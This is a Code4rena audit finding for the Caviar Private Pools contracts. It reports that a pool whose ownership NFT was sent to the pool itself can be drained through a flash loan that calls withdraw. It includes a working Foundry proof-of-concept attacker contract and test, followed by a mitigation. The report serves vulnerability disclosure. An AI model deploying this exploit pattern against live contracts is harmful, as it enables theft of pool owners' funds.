Caviar Private Pools - tanh's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/463473a74640f2bf5907c0376959f1215e861fbc/src/PrivatePool.sol#L638-L648 https://github.com/code-423n4/2023-04-caviar/blob/463473a74640f2bf5907c0376959f1215e861fbc/src/Factory.sol#L95

Vulnerability details

Impact

The Factory contract keeps track of who owns which private pool by minting an NFT when the private pool is created. An issue arises if the user transfers ownership of this NFT directly to the private pool. The ownership NFT can be borrowed out with a flash loan, and then the flash loan logic is able to call withdraw on the pool to extract all tokens, eth and nfts. An attacker will also be able to call any of the functions marked onlyOwner using this approach.

This issue surfaces due to user error, but a small mistake can cause several users to lose all the funds and NFTs in the pool so I'm marking it medium.

Proof of Concept

I've created a POC using foundry below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "openzeppelin/interfaces/IERC3156.sol";
import "../../src/PrivatePool.sol";

contract MaliciousFlashBorrower is IERC3156FlashBorrower {
    PrivatePool public lender;
    address public nft;
    Factory public factory;

    constructor(PrivatePool lender_, address nft_, Factory factory_) {
        lender = lender_;
        nft = nft_;
        factory = factory_;
    }

    function initiateFlashLoan(address token, uint256 tokenId, bytes calldata data) public payable {
        if (lender.flashFeeToken() == address(0)) {
            uint256 flashFee = lender.flashFee(token, tokenId);
            lender.flashLoan{value: flashFee}(this, token, tokenId, data);
        } else {
            lender.flashLoan(this, token, tokenId, data);
        }
    }

    function onFlashLoan(address initiator, address token, uint256, uint256 fee, bytes calldata)
        public
        override
        returns (bytes32)
    {
        require(msg.sender == address(lender), "NFTFlashBorrower: untrusted lender");
        require(initiator == address(this), "NFTFlashBorrower: untrusted initiator");

        uint lenderBalance = address(lender).balance;
        lender.withdraw(nft, new uint256[](0), address(0), lenderBalance);

        // approve the lender to transfer the NFT from this contract
        ERC721(token).setApprovalForAll(address(lender), true);

        // approve the lender to take the fee from this contract
        if (lender.flashFeeToken() != address(0)) {
            ERC20(lender.flashFeeToken()).approve(msg.sender, fee);
        }

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive () external payable {}
}

contract FlashloanTest is Fixture {
    using stdStorage for StdStorage;

    FlashBorrower flashBorrower;
    PrivatePool privatePool;
    MaliciousFlashBorrower maliciousFlashBorrower;

    function setUp() public {
        privatePool = factory.create{value: 1e18}(
            address(0),
            address(milady),
            100e18,
            10e18,
            200,
            100,
            bytes32(0),
            true,
            false,
            bytes32(address(this).balance),
            new uint256[](0),
            1e18
        );

        milady.mint(address(privatePool), 1);

        flashBorrower = new FlashBorrower(privatePool);
        maliciousFlashBorrower = new MaliciousFlashBorrower(privatePool, address(milady), factory);
    }

    function test_FlashLoanPoolNft() public {
        uint privatePoolId = uint160(address(privatePool));
        address privatePoolOwner = factory.ownerOf(privatePoolId);
        uint flashFee = privatePool.flashFee(address(factory), privatePoolId);
        assertEq(address(this), privatePoolOwner, "Should be the same address");
    
        // User makes the mistake of transferring ownership of the pool to the pool itself
        factory.safeTransferFrom(address(this), address(privatePool), privatePoolId);
        assertEq(factory.ownerOf(privatePoolId), address(privatePool), "Should be the same address");

        address attacker = address(0x1);
        deal(attacker, 1e18);
        
        // Deal tokens to the private pool
        deal(address(privatePool), 100e18);

        vm.startPrank(attacker);
        maliciousFlashBorrower.initiateFlashLoan{value: flashFee}(address(factory), privatePoolId, "");
        vm.stopPrank();

        assertEq(address(privatePool).balance, 0, "This should not be zero");
        assertGt(address(maliciousFlashBorrower).balance, 0, "This should be equal to zero");
    }
}

This technique shows that all the ether in the pool can be drained, but the idea extends to draining all tokens, nfts and changing internal parameters of the contract.

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

One way to resolve this is to revert if the user tries to transfer ownership of the pool to the pool itself. Since the factory users NFT's for ownership, it is important to make sure those NFTs don't end up in the private pool. Adding an implementation for onERC721Received in the private pool will resolve the issue

PrivatePool.sol

function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
) external virtual override returns (bytes4) {
    require(msg.sender != factory, "NFTPool: Invalid sender");
    return ERC721TokenReceiver.onERC721Received.selector;
}